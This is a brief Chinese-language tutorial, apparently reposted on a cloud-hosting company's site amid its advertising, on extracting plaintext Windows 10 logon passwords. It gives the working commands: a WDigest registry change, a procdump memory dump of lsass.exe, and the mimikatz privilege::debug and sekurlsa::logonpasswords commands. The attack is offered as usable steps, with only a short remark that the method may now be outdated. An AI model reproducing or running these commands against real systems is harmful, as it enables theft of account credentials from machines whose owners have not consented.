注：仅供参考，方法现在已不适用

创新互联建站是一家企业级云计算解决方案提供商,超15年IDC数据中心运营经验。主营GPU显卡服务器，站群服务器，资阳托管服务器，海外高防服务器，机柜大带宽租用·托管，动态拨号VPS，海外云手机，海外云服务器，海外服务器租用托管等。

工具：
procdump & mimikatz

实验环境：
实验主机：win10
账户密码：17位复杂密码（大小写+特殊字符+数字）
（虽然微软很早就更新了补丁来防止获取windows的明文密码，但是可以修改注册表...
使 \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredentiald的键值为1 即代表WDigest的密码支持明文形式保存在LSA内存中）

步骤：

使用cmd运行procdump.exe
输入：Procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用cmd运行mimikatz.exe

输入：privilege::debug
sekurlsa::logonpasswords

在wdigest：下显示的就是管理员的密码

补充：

如果按照网上的教程在mimikatz输入指令这里100%报错
（ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)）

privilege::debug（提权）
sekurlsa::logonpasswords（抓密码）

另外有需要云服务器可以了解下创新互联cdcxhl.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。

网站栏目：优雅的获取win10密码-创新互联
分享地址：http://azwzsj.com/article/gihjp.html